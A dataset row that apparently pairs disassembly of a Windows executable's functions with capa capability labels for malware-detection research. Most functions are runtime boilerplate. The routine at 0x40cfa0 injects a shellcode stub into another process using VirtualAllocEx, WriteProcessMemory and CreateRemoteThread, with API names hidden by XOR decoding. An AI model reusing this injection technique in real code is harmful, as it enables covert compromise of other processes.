joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401800
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
mov dword [edi + 4], 0
mov cl, byte [eax]
mov dword [edi], ebx
push esi
add ebx, 5
push ebx
mov byte [ebp - 1], cl
call fcn.0041302b
mov esi, eax
add esp, 4
test esi, esi
je 0x401862
push ebx
push 0
push esi
call fcn.0041cc10
mov ebx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push ebx
inc edx
push edx
push esi
call fcn.00415230
xor eax, eax
add esp, 0x18
cmp dword [edi], eax
jle 0x40185b
lea ecx, [ecx]
mov cl, byte [ebp - 1]
xor byte [eax + esi], cl
inc eax
cmp eax, dword [edi]
jl 0x401850
mov byte [esi + ebx], 0
mov dword [edi + 4], esi
jmp 0x429179
test esi, esi
je 0x4291af
cmp dword [esi + 7], 0x6e6f696c
jne 0x4291af
cmp dword [esi + 0xb], 0x63656e73
jne 0x4291af
mov byte [esi + 7], 0x73
mov dword [esi + 8], 0x77737269
mov dword [esi + 0xc], 0x65676761
mov dword [esi + 0x10], 0x6f632e72
mov dword [esi + 0x14], 0x6e6c2f6d
pop esi
mov eax, edi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4059d0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4278ab
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x432680]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00412581
push 4
mov dword [ebp - 4], 0
call fcn.00413607
mov edi, eax
add esp, 4
test edi, edi
je 0x405a4c
call fcn.0041237c
mov dword [edi], eax
call fcn.0041213b
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00412542
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x405a42
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0041256a
jmp 0x405a4e
xor edi, edi
lea ebx, [esi + 8]
mov dword [esi + 0x10], ebx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea ecx, [esi + 0xc]
mov dword [esi + 0x14], ecx
lea edx, [esi + 0x28]
mov dword [esi + 0x30], edx
lea edi, [esi + 0x2c]
mov dword [esi + 0x34], edi
mov dword [ecx], 0
mov ecx, dword [esi + 0x24]
mov dword [ecx], 0
mov ebx, dword [esi + 0x34]
mov dword [ebx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov ebx, dword [esi + 0x20]
mov dword [ebx], 0
mov ebx, dword [esi + 0x30]
mov dword [ebx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409a50
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x432680]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x228]
push eax
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
lea ebx, [ebx]
lea ecx, [ebp - 0x208]
push ecx
push ebx
call fcn.00413780
add esp, 8
test eax, eax
je 0x409ad0
lea edx, [ebp - 0x228]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x409a90
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor eax, eax
xor ecx, ebp
call fcn.00412a15
mov esp, ebp
pop ebp
ret 4
test edi, edi
je 0x409aea
mov edx, edi
lea eax, [ebp - 0x108]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x409ae0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20c]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
call fcn.00412a15
mov esp, ebp
pop ebp
ret 4
Function at 0x40a2f0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428507
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x432680]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebx], 0x42d888
mov dword [ebx + 0x60], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebx]
mov esi, dword [edx + 4]
add esi, ebx
mov dword [ebp - 0x10], 1
call fcn.004016d0
lea edi, [ebx + 4]
push esi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], 0
call fcn.00406c20
cmp dword [esi + 0x38], 0
mov byte [esi + 0x40], al
jne 0x40a37d
mov eax, dword [esi + 0xc]
or eax, 4
or eax, 4
push 0
mov ecx, esi
call fcn.00401590
mov dword [ebp - 4], 2
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
push edi
mov dword [ebx + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
call fcn.004059d0
lea edx, [edi + 8]
mov dword [edi + 0x10], edx
lea ecx, [edi + 0x18]
mov dword [edi + 0x20], ecx
lea edx, [edi + 0x1c]
mov dword [edi + 0x24], edx
mov dword [edi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [edi + 0x50], 0
mov byte [edi + 0x49], 0
lea ecx, [edi + 0x28]
mov dword [edi + 0x30], ecx
xor ecx, ecx
lea eax, [edi + 0xc]
mov dword [edi + 0x14], eax
lea edx, [edi + 0x2c]
mov dword [edi + 0x34], edx
mov dword [eax], ecx
mov eax, dword [edi + 0x24]
mov dword [eax], ecx
mov edx, dword [edi + 0x34]
mov dword [edx], ecx
mov eax, dword [edi + 0x10]
mov dword [eax], ecx
mov edx, dword [edi + 0x20]
mov dword [edx], ecx
mov eax, dword [edi + 0x30]
mov edx, dword [0x43498c]
mov dword [eax], ecx
mov dword [edi + 0x54], ecx
mov dword [edi + 0x4c], edx
mov dword [edi + 0x44], ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40b100
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427c58
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x432680]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x40b2ae
cmp byte [ebx + 0x49], 0
je 0x40b2ae
mov eax, dword [ebx]
mov ecx, ebx
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x40b2a2
mov ecx, 0xf
xor eax, eax
cmp ecx, 0x10
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
jae 0x40b175
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x40b192
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
lea edi, [ebp - 0x30]
add edx, dword [ebp - 0x1c]
mov esi, dword [ecx]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x40b1c9
dec eax
je 0x40b1cd
lea ecx, [ebp - 0x2c]
sub eax, 2
je 0x40b2a9
call fcn.00403870
xor al, al
jmp 0x40b2b0
mov byte [ebx + 0x49], 0
mov eax, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x18]
mov edx, eax
cmp edi, 0x10
jae 0x40b1dd
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40b20a
cmp edi, 0x10
jae 0x40b1ec
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.004148e4
add esp, 0x10
cmp esi, eax
jne 0x40b29a
mov eax, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x18]
cmp byte [ebx + 0x49], 0
je 0x40b2a6
test esi, esi
jne 0x40b186
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40b2cb
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40b2cb
cmp edi, esi
jae 0x40b283
push ecx
lea ecx, [ebp - 0x2c]
push esi
call fcn.00406ab0
mov eax, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x18]
test esi, esi
je 0x40b186
mov ecx, eax
cmp edi, 0x10
jae 0x40b25f
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40b27a
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x40b180
test esi, esi
jne 0x40b255
cmp edi, 0x10
mov dword [ebp - 0x1c], esi
jae 0x40b292
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x40b180
lea ecx, [ebp - 0x2c]
call fcn.00403870
xor al, al
jmp 0x40b2b0
lea ecx, [ebp - 0x2c]
call fcn.00403870
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
pop edi
pop esi
xor ecx, ebp
call fcn.00412a15
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0041242d
int3
Function at 0x40ba60
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x432680]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push edi
push esi
push 0
push 2
mov dword [ebp - 0x138], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
push 0x128
lea eax, [ebp - 0x134]
push 0
push eax
mov dword [ebp - 0x13c], edi
call fcn.0041cc10
add esp, 0xc
lea ecx, [ebp - 0x134]
push ecx
push edi
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40bb42
jmp 0x40bad0
mov al, byte [ebp - 0x110]
lea esi, [ebp - 0x110]
test al, al
je 0x40bb1c
mov ecx, dword [ebp + 8]
mov dl, byte [ecx]
mov edi, esi
or dl, 0x20
sub edi, ecx
lea esp, [esp]
or al, 0x20
cmp al, dl
jne 0x40bb0d
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x40bb30
mov bl, byte [edi + ecx]
or bl, 0x20
or al, 0x20
cmp bl, al
je 0x40baf6
mov ecx, dword [ebp + 8]
mov al, byte [esi + 1]
inc esi
inc edi
test al, al
jne 0x40baf0
mov edi, dword [ebp - 0x13c]
lea edx, [ebp - 0x134]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40bad0
jmp 0x40bb42
mov eax, dword [ebp - 0x12c]
mov edi, dword [ebp - 0x13c]
mov dword [ebp - 0x138], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x138]
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.00412a15
mov esp, ebp
pop ebp
ret
Function at 0x40cfa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
mov eax, dword [0x432680]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x40
push 0x1000
push 0x3e8
push 0
xor bl, bl
push eax
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x29], bl
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x40d13c
mov dword [ebp - 0x28], 0x34567868
mov dword [ebp - 0x24], 0x68006a12
mov dword [ebp - 0x20], 0x1fffff
mov dword [ebp - 0x1c], 0x345678b8
mov dword [ebp - 0x18], 0x50d0ff12
mov dword [ebp - 0x14], 0x5678b850
mov dword [ebp - 0x10], 0xd0ff1234
mov dword [ebp - 0xc], 0x4c258
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x42db5c
push 0xb
lea edi, [ebp - 0x3c]
mov dword [ebp - 0x27], eax
call fcn.00401800
mov eax, dword [eax + 4]
push eax
push str.1ZTC_T_
push 0xc
lea edi, [ebp - 0x44]
call fcn.00401800
mov ecx, dword [eax + 4]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ecx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov ecx, edi
mov dword [ebp - 0x1b], eax
call fcn.00401870
lea ecx, [ebp - 0x3c]
call fcn.00401870
push 0x42dba4
push 0xb
lea edi, [ebp - 0x44]
call fcn.00401800
mov edx, dword [eax + 4]
push edx
push str.1ZTC_T_
push 0xc
lea edi, [ebp - 0x3c]
call fcn.00401800
mov eax, dword [eax + 4]
push eax
call esi
push eax
call ebx
mov ecx, edi
mov dword [ebp - 0x12], eax
call fcn.00401870
lea ecx, [ebp - 0x44]
call fcn.00401870
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x48]
lea ecx, [ebp - 0x34]
push ecx
push 0x20
lea edx, [ebp - 0x28]
push edx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp dword [ebp - 0x34], 0x20
jne 0x40d116
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
or ebx, ebx
je 0x40d116
cmp ebx, 0xffffffff
je 0x40d116
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x30]
push eax
push ebx
mov dword [ebp - 0x30], 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x30]
or eax, eax
je 0x40d10f
cmp eax, 0x103
je 0x40d10f
mov byte [ebp - 0x29], 1
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
push 0x3e8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, byte [ebp - 0x29]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00412a15
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
pop edi
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.00412a15
mov esp, ebp
pop ebp
ret
Function at 0x410e20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42776b
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x432680]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
lea esi, [ebx + 0xc]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov edx, dword [ebx + 0x10]
mov dword [ebx + 0x1c], eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push ecx
add eax, ecx
push edx
call fcn.004119b0
mov esi, dword [esi]
mov ecx, 0x5a4d
mov dword [ebx], esi
cmp word [esi], cx
jne 0x410e9c
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebx + 4], eax
cmp dword [eax], 0x4550
jne 0x410e9c
movzx ecx, word [eax + 0x14]
lea edx, [ecx + eax + 0x18]
mov dword [ebx + 8], edx
jmp 0x410ebe
push str._aIhsfqfkncankb_r_a
push 0x12
lea edi, [ebp - 0x14]
call fcn.00401800
mov eax, dword [eax + 4]
push eax
call fcn.00414a3f
add esp, 4
mov ecx, edi
call fcn.00401870
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x412a15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432680]
jne 0x412a1f
repz ret
jmp fcn.00417c3c

Function at 0x417e7a
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push esi
mov esi, 0xc0000417
push 1
push esi
push 2
call fcn.00417d51
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret
Function at 0x418f16
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
add esp, 0xfffffe04
mov eax, dword [0x432680]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.00418ef0
mov edi, eax
xor ebx, ebx
pop ecx
mov dword [ebp - 0x1fc], edi
cmp edi, ebx
je 0x4190b6
push 3
call fcn.00422e35
pop ecx
cmp eax, 1
je 0x419062
push 3
call fcn.00422e35
pop ecx
or eax, eax
jne 0x418f74
cmp dword [0x4324c0], 1
je 0x419062
cmp esi, 0xfc
je 0x4190b6
push str.Runtime_Error__n_nProgram:
push 0x314
mov edi, 0x434030
push edi
call fcn.00422dd2
add esp, 0xc
test eax, eax
jne 0x419058
push 0x104
mov esi, 0x434062
push esi
push ebx
mov word [0x43426a], ax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, 0x2fb
or eax, eax
jne 0x418fe0
push str._program_name_unknown_
push ebx
push esi
call fcn.00422dd2
add esp, 0xc
test eax, eax
je 0x418fe0
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00417e7a
push esi
call fcn.00422db7
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x419017
push esi
call fcn.00422db7
lea eax, [eax*2 + 0x433fec]
mov ecx, eax
sub ecx, esi
push 3
sar ecx, 1
push 0x42b914
sub ebx, ecx
push ebx
push eax
call fcn.00422cea
sub esp, 0xffffffec
test eax, eax
jne 0x418fd4
push 0x42b90c
mov esi, 0x314
push esi
push edi
call fcn.00422c75
sub esp, 0xfffffff4
test eax, eax
jne 0x418fd4
push dword [ebp - 0x1fc]
push esi
push edi
call fcn.00422c75
sub esp, 0xfffffff4
or eax, eax
jne 0x418fd4
push 0x12010
push 0x42b8c0
push edi
call fcn.00422b09
sub esp, 0xfffffff4
jmp 0x4190b6
push ebx
push ebx
push ebx
push ebx
push ebx
jmp 0x418fdb
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
cmp esi, ebx
je 0x4190b6
cmp esi, 0xffffffff
je 0x4190b6
xor eax, eax
mov cl, byte [edi + eax*2]
mov byte [ebp + eax - 0x1f8], cl
cmp word [edi + eax*2], bx
je 0x41908f
inc eax
cmp eax, 0x1f4
jb 0x419077
push ebx
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x1f8]
push eax
mov byte [ebp - 5], bl
call fcn.004151a0
pop ecx
push eax
lea eax, [ebp - 0x1f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412a15
leave
ret

Function at 0x41aa30
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x41aa46
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x41aa42
xor edx, edx
mov ecx, 0x10b
cmp word [eax + 0x18], cx
sete dl
mov eax, edx
pop ebp
ret

Function at 0x41aa70
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
push edi
lea eax, [eax + ecx + 0x18]
test esi, esi
je 0x41aaad
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x41aaa5
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x41aaaf
inc edx
add eax, 0x28
cmp edx, esi
jb 0x41aa95
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x41d385
Capabilities:
Query environment variable

Disassembly:
push ebp
mov edi, edi
mov ebp, esp
sub esp, 0xc
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov ebx, eax
cmp ebx, esi
jne 0x41d3a1
xor eax, eax
jmp 0x41d418
cmp word [ebx], si
je 0x41d3b6
add eax, 2
cmp word [eax], si
jne 0x41d3a6
add eax, 2
cmp word [eax], si
jne 0x41d3a6
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
push esi
push esi
sub eax, ebx
push esi
sar eax, 1
inc eax
push eax
push ebx
push esi
push esi
mov dword [ebp - 0xc], eax
call edi
mov dword [ebp - 8], eax
cmp eax, esi
je 0x41d40e
push eax
call fcn.00417737
pop ecx
cmp eax, esi
mov dword [ebp - 4], eax
je 0x41d40e
push esi
push esi
push dword [ebp - 8]
push eax
push dword [ebp - 0xc]
push ebx
push esi
push esi
call edi
test eax, eax
jne 0x41d402
push dword [ebp - 4]
call fcn.00412ff1
pop ecx
mov dword [ebp - 4], esi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, dword [ebp - 4]
jmp 0x41d417
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41ea69
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
or esi, esi
je 0x41eac3
cmp byte [esi], 0
je 0x41eac3
push 0x42ca08
push esi
call fcn.0041a320
pop ecx
pop ecx
or eax, eax
je 0x41eac3
push 0x42ca04
push esi
call fcn.0041a320
pop ecx
pop ecx
test eax, eax
jne 0x41eab7
push 2
lea eax, [ebp - 4]
push eax
push 0x2000000b
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41eadb
mov eax, dword [ebp - 4]
leave
ret
push esi
call fcn.00423e37
pop ecx
mov dword [ebp - 4], eax
jmp 0x41eab2
push 2
lea eax, [ebp - 4]
push eax
push 0x20001004
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
or eax, eax
jne 0x41eadf
xor eax, eax
leave
ret
cmp dword [ebp - 4], 0
jne 0x41eab2
call dword [sym.imp.KERNEL32.dll_GetACP]
leave
ret
Function at 0x41ef94
Capabilities:
Get geographical location

Disassembly:
push ebp
mov edi, edi
mov ebp, esp
push ebx
push esi
push edi
call fcn.0041961e
lea edi, [eax + 0x9c]
mov eax, dword [ebp + 8]
test eax, eax
jne 0x41efba
or dword [edi + 8], 0x104
jmp 0x41f07d
mov dword [edi], eax
lea ebx, [edi + 4]
add eax, 0x40
mov dword [ebx], eax
je 0x41efdb
cmp byte [eax], 0
je 0x41efdb
push ebx
push 0x16
push 0x42c938
call fcn.0041ea07
add esp, 0xc
mov eax, dword [edi]
and dword [edi + 8], 0
test eax, eax
je 0x41f040
cmp byte [eax], 0
je 0x41f040
mov eax, dword [ebx]
test eax, eax
je 0x41effe
cmp byte [eax], 0
je 0x41effe
mov esi, edi
call fcn.0041eef1
jmp 0x41f005
mov esi, edi
call fcn.0041ef58
cmp dword [edi + 8], 0
jne 0x41f093
push edi
push 0x40
push 0x42c730
call fcn.0041ea07
add esp, 0xc
test eax, eax
je 0x41f089
mov ebx, dword [ebx]
test ebx, ebx
je 0x41f037
cmp byte [ebx], 0
je 0x41f037
mov esi, edi
call fcn.0041eef1
jmp 0x41f089
mov esi, edi
call fcn.0041ef58
jmp 0x41f089
mov ebx, dword [ebx]
test ebx, ebx
je 0x41f076
cmp byte [ebx], 0
je 0x41f076
push ebx
call fcn.004151a0
sub eax, 3
neg eax
pop ecx
sbb eax, eax
push 1
inc eax
push 0x41eb5e
mov dword [edi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
test byte [edi + 8], 4
jne 0x41f089
and dword [edi + 8], 0
jmp 0x41f089
mov dword [edi + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [edi + 0x18], eax
mov dword [edi + 0x1c], eax
cmp dword [edi + 8], 0
je 0x41f17e
mov esi, dword [ebp + 8]
mov eax, esi
sub eax, 0xffffff80
neg esi
sbb esi, esi
and esi, eax
call fcn.0041ea69
mov esi, eax
mov dword [ebp + 8], esi
test esi, esi
je 0x41f17e
cmp esi, 0xfde8
je 0x41f17e
cmp esi, 0xfde9
je 0x41f17e
movzx eax, si
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x41f17e
push 1
push dword [edi + 0x18]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x41f17e
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x41f10a
mov cx, word [edi + 0x18]
mov word [eax], cx
mov cx, word [edi + 0x1c]
mov word [eax + 2], cx
mov word [eax + 4], si
mov ebx, dword [ebp + 0x10]
test ebx, ebx
je 0x41f179
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov ecx, 0x814
cmp word [eax], cx
jne 0x41f141
push str.Norwegian_Nynorsk
push 0x40
push ebx
call fcn.00417edc
add esp, 0xc
test eax, eax
je 0x41f152
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00417e7a
push 0x40
push ebx
push 0x1001
push dword [edi + 0x18]
call esi
test eax, eax
je 0x41f17e
lea eax, [ebx + 0x40]
push 0x40
push eax
push 0x1002
push dword [edi + 0x1c]
call esi
test eax, eax
je 0x41f17e
push 0xa
sub ebx, 0xffffff80
push 0x10
push ebx
push dword [ebp + 8]
call fcn.00417bbe
add esp, 0x10
xor eax, eax
inc eax
jmp 0x41f180
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret